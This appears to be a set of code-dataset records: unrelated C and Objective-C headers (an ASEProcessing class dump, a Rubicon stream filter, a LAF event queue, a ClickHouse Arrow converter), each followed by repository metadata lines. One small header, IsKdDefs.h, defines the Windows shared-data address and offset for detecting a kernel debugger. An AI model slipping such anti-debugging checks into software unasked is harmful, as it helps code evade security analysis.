/* Generated by RuntimeBrowser Image: /System/Library/PrivateFrameworks/ASEProcessing.framework/ASEProcessing */ @interface ASEProcessing : NSObject { unsigned int _FD_state; unsigned int _FG_count; unsigned int _NFG_count; struct { union { struct { int x_1_2_1; unsigned int x_1_2_2; bool x_1_2_3; union { struct { bool x_1_4_1; unsigned int x_1_4_2; struct { unsigned int x_3_5_1; unsigned int x_3_5_2; unsigned int x_3_5_3; } x_1_4_3; struct { struct { float x_1_6_1; float x_1_6_2; float x_1_6_3; } x_4_5_1; struct { float x_2_6_1; float x_2_6_2; float x_2_6_3; } x_4_5_2; struct { float x_3_6_1; float x_3_6_2; float x_3_6_3; } x_4_5_3; struct { float x_4_6_1; float x_4_6_2; float x_4_6_3; } x_4_5_4; struct { float x_5_6_1; float x_5_6_2; float x_5_6_3; } x_4_5_5; struct { float x_6_6_1; float x_6_6_2; float x_6_6_3; } x_4_5_6; struct { float x_7_6_1; float x_7_6_2; float x_7_6_3; } x_4_5_7; struct { float x_8_6_1; float x_8_6_2; float x_8_6_3; } x_4_5_8; } x_1_4_4; struct { struct { float x_1_6_1; float x_1_6_2; float x_1_6_3; } x_5_5_1; struct { float x_2_6_1; float x_2_6_2; float x_2_6_3; } x_5_5_2; struct { float x_3_6_1; float x_3_6_2; float x_3_6_3; } x_5_5_3; struct { float x_4_6_1; float x_4_6_2; float x_4_6_3; } x_5_5_4; struct { float x_5_6_1; float x_5_6_2; float x_5_6_3; } x_5_5_5; struct { float x_6_6_1; float x_6_6_2; float x_6_6_3; } x_5_5_6; struct { float x_7_6_1; float x_7_6_2; float x_7_6_3; } x_5_5_7; struct { float x_8_6_1; float x_8_6_2; float x_8_6_3; } x_5_5_8; } x_1_4_5; } x_4_3_1; } x_1_2_4; } x_1_1_1; } x1; } * _aseFrameProcessing; unsigned int _aseProcessingType; int _aseProcessingVersion; NSObject<OS_dispatch_queue> * _completionQueue; unsigned int _destinationHeight; unsigned int _destinationWidth; float _enhancementStrength; unsigned int _inputHeight; unsigned int _inputWidth; unsigned int _noiseMeterStepSize; unsigned long long _numberOfProcessedFrames; unsigned long long _numberOfRequestedFrames; unsigned long long _numberOfScheduledFrames; unsigned int _prev_H1_7; unsigned int _prev_V1_7; unsigned int _prev_ratio_2D_1D; unsigned int _productType; NSObject<OS_dispatch_queue> * _scheduleQueue; NSObject<OS_dispatch_semaphore> * _scheduleSemaphone; } @property unsigned int destinationHeight; @property unsigned int destinationWidth; @property float enhancementStrength; - (void).cxx_destruct; - (void)dealloc; - (unsigned int)destinationHeight; - (unsigned int)destinationWidth; - (void)digitalZoomSelectControl_V0:(struct { unsigned int x1; struct { unsigned int x_2_1_1; unsigned int x_2_1_2; unsigned int x_2_1_3; } x2; struct { struct { float x_1_2_1; float x_1_2_2; float x_1_2_3; } x_3_1_1; struct { float x_2_2_1; float x_2_2_2; float x_2_2_3; } x_3_1_2; struct { float x_3_2_1; float x_3_2_2; float x_3_2_3; } x_3_1_3; struct { float x_4_2_1; float x_4_2_2; float x_4_2_3; } x_3_1_4; struct { float x_5_2_1; float x_5_2_2; float x_5_2_3; } x_3_1_5; struct { float x_6_2_1; float x_6_2_2; float x_6_2_3; } x_3_1_6; struct { float x_7_2_1; float x_7_2_2; float x_7_2_3; } x_3_1_7; struct { float x_8_2_1; float x_8_2_2; float x_8_2_3; } x_3_1_8; } x3; struct { struct { float x_1_2_1; float x_1_2_2; float x_1_2_3; } x_4_1_1; struct { float x_2_2_1; float x_2_2_2; float x_2_2_3; } x_4_1_2; struct { float x_3_2_1; float x_3_2_2; float x_3_2_3; } x_4_1_3; struct { float x_4_2_1; float x_4_2_2; float x_4_2_3; } x_4_1_4; struct { float x_5_2_1; float x_5_2_2; float x_5_2_3; } x_4_1_5; struct { float x_6_2_1; float x_6_2_2; float x_6_2_3; } x_4_1_6; struct { float x_7_2_1; float x_7_2_2; float x_7_2_3; } x_4_1_7; struct { float x_8_2_1; float x_8_2_2; float x_8_2_3; } x_4_1_8; } x4; }*)arg1; - (void)digitalZoomSelectControl_V1:(struct { bool x1; unsigned int x2; struct { unsigned int x_3_1_1; unsigned int x_3_1_2; unsigned int x_3_1_3; } x3; struct { struct { float x_1_2_1; float x_1_2_2; float x_1_2_3; } x_4_1_1; struct { float x_2_2_1; float x_2_2_2; float x_2_2_3; } x_4_1_2; struct { float x_3_2_1; float x_3_2_2; float x_3_2_3; } x_4_1_3; struct { float x_4_2_1; float x_4_2_2; float x_4_2_3; } x_4_1_4; struct { float x_5_2_1; float x_5_2_2; float x_5_2_3; } x_4_1_5; struct { float x_6_2_1; float x_6_2_2; float x_6_2_3; } x_4_1_6; struct { float x_7_2_1; float x_7_2_2; float x_7_2_3; } x_4_1_7; struct { float x_8_2_1; float x_8_2_2; float x_8_2_3; } x_4_1_8; } x4; struct { struct { float x_1_2_1; float x_1_2_2; float x_1_2_3; } x_5_1_1; struct { float x_2_2_1; float x_2_2_2; float x_2_2_3; } x_5_1_2; struct { float x_3_2_1; float x_3_2_2; float x_3_2_3; } x_5_1_3; struct { float x_4_2_1; float x_4_2_2; float x_4_2_3; } x_5_1_4; struct { float x_5_2_1; float x_5_2_2; float x_5_2_3; } x_5_1_5; struct { float x_6_2_1; float x_6_2_2; float x_6_2_3; } x_5_1_6; struct { float x_7_2_1; float x_7_2_2; float x_7_2_3; } x_5_1_7; struct { float x_8_2_1; float x_8_2_2; float x_8_2_3; } x_5_1_8; } x5; }*)arg1; - (float)enhancementStrength; - (id)init; - (id)initWithConfig:(const struct { int x1; unsigned int x2; unsigned int x3; unsigned int x4; }*)arg1; - (void)printAseMeasurementOutput:(const struct { unsigned int x1; unsigned int x2; unsigned int x3; unsigned int x4; unsigned int x5; unsigned int x6; unsigned int x7; unsigned int x8; unsigned int x9; unsigned int x10; unsigned int x11; unsigned int x12; unsigned int x13; unsigned int x14; unsigned int x15; unsigned int x16[8]; unsigned int x17[8]; unsigned int x18[8]; unsigned int x19[8]; unsigned int x20[16]; unsigned int x21[16]; unsigned int x22[16]; }*)arg1; - (long long)processFrameWithInput:(struct { unsigned int x1; unsigned int x2; unsigned int x3; unsigned int x4; unsigned int x5; unsigned int x6; unsigned int x7; unsigned int x8; unsigned int x9; unsigned int x10; unsigned int x11; unsigned int x12; unsigned int x13; unsigned int x14; unsigned int x15; unsigned int x16[8]; unsigned int x17[8]; unsigned int x18[8]; unsigned int x19[8]; unsigned int x20[16]; unsigned int x21[16]; unsigned int x22[16]; }*)arg1 Output:(struct { union { struct { int x_1_2_1; unsigned int x_1_2_2; bool x_1_2_3; union { struct { bool x_1_4_1; unsigned int x_1_4_2; struct { unsigned int x_3_5_1; unsigned int x_3_5_2; unsigned int x_3_5_3; } x_1_4_3; struct { struct { float x_1_6_1; float x_1_6_2; float x_1_6_3; } x_4_5_1; struct { float x_2_6_1; float x_2_6_2; float x_2_6_3; } x_4_5_2; struct { float x_3_6_1; float x_3_6_2; float x_3_6_3; } x_4_5_3; struct { float x_4_6_1; float x_4_6_2; float x_4_6_3; } x_4_5_4; struct { float x_5_6_1; float x_5_6_2; float x_5_6_3; } x_4_5_5; struct { float x_6_6_1; float x_6_6_2; float x_6_6_3; } x_4_5_6; struct { float x_7_6_1; float x_7_6_2; float x_7_6_3; } x_4_5_7; struct { float x_8_6_1; float x_8_6_2; float x_8_6_3; } x_4_5_8; } x_1_4_4; struct { struct { float x_1_6_1; float x_1_6_2; float x_1_6_3; } x_5_5_1; struct { float x_2_6_1; float x_2_6_2; float x_2_6_3; } x_5_5_2; struct { float x_3_6_1; float x_3_6_2; float x_3_6_3; } x_5_5_3; struct { float x_4_6_1; float x_4_6_2; float x_4_6_3; } x_5_5_4; struct { float x_5_6_1; float x_5_6_2; float x_5_6_3; } x_5_5_5; struct { float x_6_6_1; float x_6_6_2; float x_6_6_3; } x_5_5_6; struct { float x_7_6_1; float x_7_6_2; float x_7_6_3; } x_5_5_7; struct { float x_8_6_1; float x_8_6_2; float x_8_6_3; } x_5_5_8; } x_1_4_5; } x_4_3_1; } x_1_2_4; } x_1_1_1; } x1; }*)arg2; - (long long)processFrameWithInput:(struct { unsigned int x1; unsigned int x2; unsigned int x3; unsigned int x4; unsigned int x5; unsigned int x6; unsigned int x7; unsigned int x8; unsigned int x9; unsigned int x10; unsigned int x11; unsigned int x12; unsigned int x13; unsigned int x14; unsigned int x15; unsigned int x16[8]; unsigned int x17[8]; unsigned int x18[8]; unsigned int x19[8]; unsigned int x20[16]; unsigned int x21[16]; unsigned int x22[16]; }*)arg1 callback:(id /* block */)arg2; - (void)processPixelWithInput:(const struct { unsigned int x1; unsigned int x2; unsigned int x3; unsigned int x4; unsigned int x5; unsigned int x6; unsigned int x7; unsigned int x8; unsigned int x9; unsigned int x10; unsigned int x11; unsigned int x12; unsigned int x13; unsigned int x14; unsigned int x15; unsigned int x16[8]; unsigned int x17[8]; unsigned int x18[8]; unsigned int x19[8]; unsigned int x20[16]; unsigned int x21[16]; unsigned int x22[16]; }*)arg1 Output:(struct { union { struct { int x_1_2_1; unsigned int x_1_2_2; bool x_1_2_3; union { struct { bool x_1_4_1; unsigned int x_1_4_2; struct { unsigned int x_3_5_1; unsigned int x_3_5_2; unsigned int x_3_5_3; } x_1_4_3; struct { struct { float x_1_6_1; float x_1_6_2; float x_1_6_3; } x_4_5_1; struct { float x_2_6_1; float x_2_6_2; float x_2_6_3; } x_4_5_2; struct { float x_3_6_1; float x_3_6_2; float x_3_6_3; } x_4_5_3; struct { float x_4_6_1; float x_4_6_2; float x_4_6_3; } x_4_5_4; struct { float x_5_6_1; float x_5_6_2; float x_5_6_3; } x_4_5_5; struct { float x_6_6_1; float x_6_6_2; float x_6_6_3; } x_4_5_6; struct { float x_7_6_1; float x_7_6_2; float x_7_6_3; } x_4_5_7; struct { float x_8_6_1; float x_8_6_2; float x_8_6_3; } x_4_5_8; } x_1_4_4; struct { struct { float x_1_6_1; float x_1_6_2; float x_1_6_3; } x_5_5_1; struct { float x_2_6_1; float x_2_6_2; float x_2_6_3; } x_5_5_2; struct { float x_3_6_1; float x_3_6_2; float x_3_6_3; } x_5_5_3; struct { float x_4_6_1; float x_4_6_2; float x_4_6_3; } x_5_5_4; struct { float x_5_6_1; float x_5_6_2; float x_5_6_3; } x_5_5_5; struct { float x_6_6_1; float x_6_6_2; float x_6_6_3; } x_5_5_6; struct { float x_7_6_1; float x_7_6_2; float x_7_6_3; } x_5_5_7; struct { float x_8_6_1; float x_8_6_2; float x_8_6_3; } x_5_5_8; } x_1_4_5; } x_4_3_1; } x_1_2_4; } x_1_1_1; } x1; }*)arg2; - (void)processPixelWithInput_V0:(const struct { unsigned int x1; unsigned int x2; unsigned int x3; unsigned int x4; unsigned int x5; unsigned int x6; unsigned int x7; unsigned int x8; unsigned int x9; unsigned int x10; unsigned int x11; unsigned int x12; unsigned int x13; unsigned int x14; unsigned int x15; unsigned int x16[8]; unsigned int x17[8]; unsigned int x18[8]; unsigned int x19[8]; unsigned int x20[16]; unsigned int x21[16]; unsigned int x22[16]; }*)arg1 Output:(struct { union { struct { int x_1_2_1; unsigned int x_1_2_2; bool x_1_2_3; union { struct { bool x_1_4_1; unsigned int x_1_4_2; struct { unsigned int x_3_5_1; unsigned int x_3_5_2; unsigned int x_3_5_3; } x_1_4_3; struct { struct { float x_1_6_1; float x_1_6_2; float x_1_6_3; } x_4_5_1; struct { float x_2_6_1; float x_2_6_2; float x_2_6_3; } x_4_5_2; struct { float x_3_6_1; float x_3_6_2; float x_3_6_3; } x_4_5_3; struct { float x_4_6_1; float x_4_6_2; float x_4_6_3; } x_4_5_4; struct { float x_5_6_1; float x_5_6_2; float x_5_6_3; } x_4_5_5; struct { float x_6_6_1; float x_6_6_2; float x_6_6_3; } x_4_5_6; struct { float x_7_6_1; float x_7_6_2; float x_7_6_3; } x_4_5_7; struct { float x_8_6_1; float x_8_6_2; float x_8_6_3; } x_4_5_8; } x_1_4_4; struct { struct { float x_1_6_1; float x_1_6_2; float x_1_6_3; } x_5_5_1; struct { float x_2_6_1; float x_2_6_2; float x_2_6_3; } x_5_5_2; struct { float x_3_6_1; float x_3_6_2; float x_3_6_3; } x_5_5_3; struct { float x_4_6_1; float x_4_6_2; float x_4_6_3; } x_5_5_4; struct { float x_5_6_1; float x_5_6_2; float x_5_6_3; } x_5_5_5; struct { float x_6_6_1; float x_6_6_2; float x_6_6_3; } x_5_5_6; struct { float x_7_6_1; float x_7_6_2; float x_7_6_3; } x_5_5_7; struct { float x_8_6_1; float x_8_6_2; float x_8_6_3; } x_5_5_8; } x_1_4_5; } x_4_3_1; } x_1_2_4; } x_1_1_1; } x1; }*)arg2; - (void)processPixelWithInput_V1:(const struct { unsigned int x1; unsigned int x2; unsigned int x3; unsigned int x4; unsigned int x5; unsigned int x6; unsigned int x7; unsigned int x8; unsigned int x9; unsigned int x10; unsigned int x11; unsigned int x12; unsigned int x13; unsigned int x14; unsigned int x15; unsigned int x16[8]; unsigned int x17[8]; unsigned int x18[8]; unsigned int x19[8]; unsigned int x20[16]; unsigned int x21[16]; unsigned int x22[16]; }*)arg1 Output:(struct { union { struct { int x_1_2_1; unsigned int x_1_2_2; bool x_1_2_3; union { struct { bool x_1_4_1; unsigned int x_1_4_2; struct { unsigned int x_3_5_1; unsigned int x_3_5_2; unsigned int x_3_5_3; } x_1_4_3; struct { struct { float x_1_6_1; float x_1_6_2; float x_1_6_3; } x_4_5_1; struct { float x_2_6_1; float x_2_6_2; float x_2_6_3; } x_4_5_2; struct { float x_3_6_1; float x_3_6_2; float x_3_6_3; } x_4_5_3; struct { float x_4_6_1; float x_4_6_2; float x_4_6_3; } x_4_5_4; struct { float x_5_6_1; float x_5_6_2; float x_5_6_3; } x_4_5_5; struct { float x_6_6_1; float x_6_6_2; float x_6_6_3; } x_4_5_6; struct { float x_7_6_1; float x_7_6_2; float x_7_6_3; } x_4_5_7; struct { float x_8_6_1; float x_8_6_2; float x_8_6_3; } x_4_5_8; } x_1_4_4; struct { struct { float x_1_6_1; float x_1_6_2; float x_1_6_3; } x_5_5_1; struct { float x_2_6_1; float x_2_6_2; float x_2_6_3; } x_5_5_2; struct { float x_3_6_1; float x_3_6_2; float x_3_6_3; } x_5_5_3; struct { float x_4_6_1; float x_4_6_2; float x_4_6_3; } x_5_5_4; struct { float x_5_6_1; float x_5_6_2; float x_5_6_3; } x_5_5_5; struct { float x_6_6_1; float x_6_6_2; float x_6_6_3; } x_5_5_6; struct { float x_7_6_1; float x_7_6_2; float x_7_6_3; } x_5_5_7; struct { float x_8_6_1; float x_8_6_2; float x_8_6_3; } x_5_5_8; } x_1_4_5; } x_4_3_1; } x_1_2_4; } x_1_1_1; } x1; }*)arg2; - (void)processPixelWithMeasurement_V0:(const struct { unsigned int x1; unsigned int x2; unsigned int x3; unsigned int x4; unsigned int x5; unsigned int x6; unsigned int x7; unsigned int x8; unsigned int x9; unsigned int x10; unsigned int x11; unsigned int x12; unsigned int x13; unsigned int x14; unsigned int x15; unsigned int x16[8]; unsigned int x17[8]; unsigned int x18[8]; unsigned int x19[8]; unsigned int x20[16]; unsigned int x21[16]; unsigned int x22[16]; }*)arg1 pixelControl:(struct { unsigned int x1; struct { unsigned int x_2_1_1; unsigned int x_2_1_2; unsigned int x_2_1_3; } x2; struct { struct { float x_1_2_1; float x_1_2_2; float x_1_2_3; } x_3_1_1; struct { float x_2_2_1; float x_2_2_2; float x_2_2_3; } x_3_1_2; struct { float x_3_2_1; float x_3_2_2; float x_3_2_3; } x_3_1_3; struct { float x_4_2_1; float x_4_2_2; float x_4_2_3; } x_3_1_4; struct { float x_5_2_1; float x_5_2_2; float x_5_2_3; } x_3_1_5; struct { float x_6_2_1; float x_6_2_2; float x_6_2_3; } x_3_1_6; struct { float x_7_2_1; float x_7_2_2; float x_7_2_3; } x_3_1_7; struct { float x_8_2_1; float x_8_2_2; float x_8_2_3; } x_3_1_8; } x3; struct { struct { float x_1_2_1; float x_1_2_2; float x_1_2_3; } x_4_1_1; struct { float x_2_2_1; float x_2_2_2; float x_2_2_3; } x_4_1_2; struct { float x_3_2_1; float x_3_2_2; float x_3_2_3; } x_4_1_3; struct { float x_4_2_1; float x_4_2_2; float x_4_2_3; } x_4_1_4; struct { float x_5_2_1; float x_5_2_2; float x_5_2_3; } x_4_1_5; struct { float x_6_2_1; float x_6_2_2; float x_6_2_3; } x_4_1_6; struct { float x_7_2_1; float x_7_2_2; float x_7_2_3; } x_4_1_7; struct { float x_8_2_1; float x_8_2_2; float x_8_2_3; } x_4_1_8; } x4; }*)arg2; - (void)processPixelWithMeasurement_V1:(const struct { unsigned int x1; unsigned int x2; unsigned int x3; unsigned int x4; unsigned int x5; unsigned int x6; unsigned int x7; unsigned int x8; unsigned int x9; unsigned int x10; unsigned int x11; unsigned int x12; unsigned int x13; unsigned int x14; unsigned int x15; unsigned int x16[8]; unsigned int x17[8]; unsigned int x18[8]; unsigned int x19[8]; unsigned int x20[16]; unsigned int x21[16]; unsigned int x22[16]; }*)arg1 pixelControl:(struct { bool x1; unsigned int x2; struct { unsigned int x_3_1_1; unsigned int x_3_1_2; unsigned int x_3_1_3; } x3; struct { struct { float x_1_2_1; float x_1_2_2; float x_1_2_3; } x_4_1_1; struct { float x_2_2_1; float x_2_2_2; float x_2_2_3; } x_4_1_2; struct { float x_3_2_1; float x_3_2_2; float x_3_2_3; } x_4_1_3; struct { float x_4_2_1; float x_4_2_2; float x_4_2_3; } x_4_1_4; struct { float x_5_2_1; float x_5_2_2; float x_5_2_3; } x_4_1_5; struct { float x_6_2_1; float x_6_2_2; float x_6_2_3; } x_4_1_6; struct { float x_7_2_1; float x_7_2_2; float x_7_2_3; } x_4_1_7; struct { float x_8_2_1; float x_8_2_2; float x_8_2_3; } x_4_1_8; } x4; struct { struct { float x_1_2_1; float x_1_2_2; float x_1_2_3; } x_5_1_1; struct { float x_2_2_1; float x_2_2_2; float x_2_2_3; } x_5_1_2; struct { float x_3_2_1; float x_3_2_2; float x_3_2_3; } x_5_1_3; struct { float x_4_2_1; float x_4_2_2; float x_4_2_3; } x_5_1_4; struct { float x_5_2_1; float x_5_2_2; float x_5_2_3; } x_5_1_5; struct { float x_6_2_1; float x_6_2_2; float x_6_2_3; } x_5_1_6; struct { float x_7_2_1; float x_7_2_2; float x_7_2_3; } x_5_1_7; struct { float x_8_2_1; float x_8_2_2; float x_8_2_3; } x_5_1_8; } x5; }*)arg2; - (void)processPixelWithPixelControl_V0:(struct { unsigned int x1; struct { unsigned int x_2_1_1; unsigned int x_2_1_2; unsigned int x_2_1_3; } x2; struct { struct { float x_1_2_1; float x_1_2_2; float x_1_2_3; } x_3_1_1; struct { float x_2_2_1; float x_2_2_2; float x_2_2_3; } x_3_1_2; struct { float x_3_2_1; float x_3_2_2; float x_3_2_3; } x_3_1_3; struct { float x_4_2_1; float x_4_2_2; float x_4_2_3; } x_3_1_4; struct { float x_5_2_1; float x_5_2_2; float x_5_2_3; } x_3_1_5; struct { float x_6_2_1; float x_6_2_2; float x_6_2_3; } x_3_1_6; struct { float x_7_2_1; float x_7_2_2; float x_7_2_3; } x_3_1_7; struct { float x_8_2_1; float x_8_2_2; float x_8_2_3; } x_3_1_8; } x3; struct { struct { float x_1_2_1; float x_1_2_2; float x_1_2_3; } x_4_1_1; struct { float x_2_2_1; float x_2_2_2; float x_2_2_3; } x_4_1_2; struct { float x_3_2_1; float x_3_2_2; float x_3_2_3; } x_4_1_3; struct { float x_4_2_1; float x_4_2_2; float x_4_2_3; } x_4_1_4; struct { float x_5_2_1; float x_5_2_2; float x_5_2_3; } x_4_1_5; struct { float x_6_2_1; float x_6_2_2; float x_6_2_3; } x_4_1_6; struct { float x_7_2_1; float x_7_2_2; float x_7_2_3; } x_4_1_7; struct { float x_8_2_1; float x_8_2_2; float x_8_2_3; } x_4_1_8; } x4; }*)arg1; - (void)processPixelWithPixelControl_V1:(struct { bool x1; unsigned int x2; struct { unsigned int x_3_1_1; unsigned int x_3_1_2; unsigned int x_3_1_3; } x3; struct { struct { float x_1_2_1; float x_1_2_2; float x_1_2_3; } x_4_1_1; struct { float x_2_2_1; float x_2_2_2; float x_2_2_3; } x_4_1_2; struct { float x_3_2_1; float x_3_2_2; float x_3_2_3; } x_4_1_3; struct { float x_4_2_1; float x_4_2_2; float x_4_2_3; } x_4_1_4; struct { float x_5_2_1; float x_5_2_2; float x_5_2_3; } x_4_1_5; struct { float x_6_2_1; float x_6_2_2; float x_6_2_3; } x_4_1_6; struct { float x_7_2_1; float x_7_2_2; float x_7_2_3; } x_4_1_7; struct { float x_8_2_1; float x_8_2_2; float x_8_2_3; } x_4_1_8; } x4; struct { struct { float x_1_2_1; float x_1_2_2; float x_1_2_3; } x_5_1_1; struct { float x_2_2_1; float x_2_2_2; float x_2_2_3; } x_5_1_2; struct { float x_3_2_1; float x_3_2_2; float x_3_2_3; } x_5_1_3; struct { float x_4_2_1; float x_4_2_2; float x_4_2_3; } x_5_1_4; struct { float x_5_2_1; float x_5_2_2; float x_5_2_3; } x_5_1_5; struct { float x_6_2_1; float x_6_2_2; float x_6_2_3; } x_5_1_6; struct { float x_7_2_1; float x_7_2_2; float x_7_2_3; } x_5_1_7; struct { float x_8_2_1; float x_8_2_2; float x_8_2_3; } x_5_1_8; } x5; }*)arg1; - (void)setDestinationHeight:(unsigned int)arg1; - (void)setDestinationWidth:(unsigned int)arg1; - (void)setEnhancementStrength:(float)arg1; @end
333.741379
1,817
0.749135
0a6c649f683ccfffd1e9f0abb6689c5a5e486181
2,396
h
C
Rubicon/Streams/PGFilterOutputStream.h
RJVB/Rubicon
831b4c4f89b2aa3deba4295a7fca11557ed071ce
[ "Apache-2.0" ]
null
null
null
Rubicon/Streams/PGFilterOutputStream.h
RJVB/Rubicon
831b4c4f89b2aa3deba4295a7fca11557ed071ce
[ "Apache-2.0" ]
null
null
null
Rubicon/Streams/PGFilterOutputStream.h
RJVB/Rubicon
831b4c4f89b2aa3deba4295a7fca11557ed071ce
[ "Apache-2.0" ]
null
null
null
/*******************************************************************************************************************************************************************************//** * PROJECT: Rubicon * FILENAME: PGFilterOutputStream.h * IDE: AppCode * AUTHOR: Galen Rhodes * DATE: 2/15/18 2:30 PM * VISIBILITY: Public * DESCRIPTION: * While the class NSData provides base64 encoding operations, these class require that the entire data set be held in memory before the encoding begins. This class, which * inherits from NSOutputStream, allows for the streaming of data to a file and have it encoded "on the fly" without having to retain the entire data set in memory. * * Copyright © 2017 Project Galen. All rights reserved. * * Permission to use, copy, modify, and distribute this software for any purpose with or without fee is hereby granted, provided that the above copyright notice and this * permission notice appear in all copies. * * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO * EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN * AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. *//************************************************************************/ #ifndef __Rubicon_PGFilterOutputStream_H_ #define __Rubicon_PGFilterOutputStream_H_ #import <Rubicon/PGTools.h> NS_ASSUME_NONNULL_BEGIN @interface PGFilterOutputStream : NSOutputStream<NSStreamDelegate, NSLocking> @property(atomic, retain, readonly) NSOutputStream *out; @property(atomic, readonly) NSUInteger chunkSize; -(instancetype)initWithOutputStream:(NSOutputStream *)outputStream; -(instancetype)initWithOutputStream:(NSOutputStream *)outputStream chunk:(NSUInteger)chunk; -(NSInteger)writeFiltered:(const NSByte *)buffer maxLength:(NSUInteger)len; +(instancetype)streamWithOutputStream:(NSOutputStream *)outputStream; +(instancetype)streamWithOutputStream:(NSOutputStream *)outputStream chunk:(NSUInteger)chunk; -(NSInteger)flush; @end NS_ASSUME_NONNULL_END #endif
47.92
180
0.685726
f7f527852460c6a680808c69dc6839109ee99874
338
h
C
IsKdDefs.h
kyREcon/IsKernelDebuggerPresent
4aabcbd956c27d178082881f9507bfd66dd62c97
[ "MIT" ]
17
2019-03-11T06:27:04.000Z
2021-06-26T13:10:50.000Z
IsKdDefs.h
kyREcon/IsKernelDebuggerPresent
4aabcbd956c27d178082881f9507bfd66dd62c97
[ "MIT" ]
null
null
null
IsKdDefs.h
kyREcon/IsKernelDebuggerPresent
4aabcbd956c27d178082881f9507bfd66dd62c97
[ "MIT" ]
9
2019-03-11T06:27:05.000Z
2021-06-25T02:53:46.000Z
#ifndef IS_KD_DEFS_H_ #define IS_KD_DEFS_H_ #define KUSER_SHARED_DATA_ADDRESS 0x7FFE0000 //Tested in Win 7 to Win 10 v1703 (32/64-bit) #define KD_DEBUGGER_ENABLED_OFFSET 0x2D4 //Tested in Win 7 to Win 10 v1703 (32/64-bit) #define KERNEL_DEBUGGER_DETECTED 1 #define KERNEL_DEBUGGER_NOT_DETECTED 0 #define INVALID_PTR -1 #endif
30.727273
91
0.789941
1c44ba7ffc2cf7bd04da6dcb053958203b13fca5
1,840
h
C
os/event_queue.h
Delta2Force/laf
5266e98479953d6d9970c32e130fe3bdf57f564d
[ "MIT" ]
186
2017-04-25T12:13:05.000Z
2022-03-30T08:06:47.000Z
os/event_queue.h
Delta2Force/laf
5266e98479953d6d9970c32e130fe3bdf57f564d
[ "MIT" ]
34
2016-12-20T16:33:31.000Z
2022-03-29T21:07:52.000Z
os/event_queue.h
Delta2Force/laf
5266e98479953d6d9970c32e130fe3bdf57f564d
[ "MIT" ]
47
2016-12-19T17:23:46.000Z
2022-03-30T19:45:55.000Z
// LAF OS Library // Copyright (C) 2021 Igara Studio S.A. // Copyright (C) 2012-2018 David Capello // // This file is released under the terms of the MIT license. // Read LICENSE.txt for more information. #ifndef OS_EVENT_QUEUE_H_INCLUDED #define OS_EVENT_QUEUE_H_INCLUDED #pragma once namespace os { class Event; class EventQueue { public: static constexpr const double kWithoutTimeout = -1.0; virtual ~EventQueue() { } // Wait for a new event. We can specify a timeout in seconds to // limit the time of wait for the next event. virtual void getEvent(Event& ev, double timeout = kWithoutTimeout) = 0; // Adds a new event in the queue to be processed by // getEvent(). It's used by each platform to convert // platform-specific messages into platform-independent events // (os::Event). virtual void queueEvent(const Event& ev) = 0; // Clears all events in the queue. You shouldn't call this // function, it's used internally to clear all events before the // System instance is destroyed. Anyway you might want to use it // in case that you want to ensure that no more WindowRef is // alive. virtual void clearEvents() = 0; // Deprecated old method. We should remove this line after some // releases. It's here to avoid calling getEvent(Event&, double) // even when we use a bool 2nd argument. void getEvent(Event& ev, bool) = delete; // On macOS we need the EventQueue before the creation of the // System. E.g. when we double-click a file an Event to open that // file is queued in application:openFile:, code which is executed // before the user's main() code. static EventQueue* instance(); }; inline void queue_event(const Event& ev) { EventQueue::instance()->queueEvent(ev); } } // namespace os #endif
31.724138
75
0.691304
720b4df47cc4cd2593eb885beb24d2873fad2aad
1,278
h
C
dbms/src/Processors/Formats/Impl/ArrowColumnToCHColumn.h
sunadm/ClickHouse
55903fbe23ef6dff8fc7ec25ae68e04919bc9b7f
[ "Apache-2.0" ]
7
2021-02-26T04:34:22.000Z
2021-12-31T08:15:47.000Z
dbms/src/Processors/Formats/Impl/ArrowColumnToCHColumn.h
sunadm/ClickHouse
55903fbe23ef6dff8fc7ec25ae68e04919bc9b7f
[ "Apache-2.0" ]
1
2021-06-15T11:34:31.000Z
2021-06-15T11:34:31.000Z
dbms/src/Processors/Formats/Impl/ArrowColumnToCHColumn.h
sunadm/ClickHouse
55903fbe23ef6dff8fc7ec25ae68e04919bc9b7f
[ "Apache-2.0" ]
3
2020-02-24T12:57:54.000Z
2021-10-04T13:29:00.000Z
#include "config_formats.h" #if USE_ORC || USE_PARQUET #include <DataTypes/IDataType.h> #include <DataTypes/DataTypesNumber.h> #include <DataTypes/DataTypeDate.h> #include <DataTypes/DataTypeDateTime.h> #include <DataTypes/DataTypeString.h> #include <arrow/type.h> #include <Columns/ColumnVector.h> #include <arrow/table.h> #include <arrow/array.h> #include <arrow/buffer.h> #include <Processors/Chunk.h> #include <Core/Block.h> namespace DB { class ArrowColumnToCHColumn { private: # define FOR_ARROW_NUMERIC_TYPES(M) \ M(arrow::Type::UINT8, DB::UInt8) \ M(arrow::Type::INT8, DB::Int8) \ M(arrow::Type::UINT16, DB::UInt16) \ M(arrow::Type::INT16, DB::Int16) \ M(arrow::Type::UINT32, DB::UInt32) \ M(arrow::Type::INT32, DB::Int32) \ M(arrow::Type::UINT64, DB::UInt64) \ M(arrow::Type::INT64, DB::Int64) \ M(arrow::Type::FLOAT, DB::Float32) \ M(arrow::Type::DOUBLE, DB::Float64) public: static void arrowTableToCHChunk(Chunk &res, std::shared_ptr<arrow::Table> &table, arrow::Status &read_status, const Block &header, int &row_group_current, std::string format_name); }; } #endif
27.782609
89
0.617371
c7027c817e6831882da7d082b1c9a7e3b2069b24
627
h
C
lib/python3.7/site-packages/multidict/_multilib/defs.h
teomoney1999/ACT_gatco_project
a804a6348efeab90f3114606cfbc73aaebab63e1
[ "MIT" ]
301
2016-02-08T11:05:56.000Z
2022-03-31T06:35:57.000Z
lib/python3.7/site-packages/multidict/_multilib/defs.h
teomoney1999/ACT_gatco_project
a804a6348efeab90f3114606cfbc73aaebab63e1
[ "MIT" ]
659
2016-05-20T08:06:02.000Z
2022-03-28T23:15:06.000Z
lib/python3.7/site-packages/multidict/_multilib/defs.h
teomoney1999/ACT_gatco_project
a804a6348efeab90f3114606cfbc73aaebab63e1
[ "MIT" ]
98
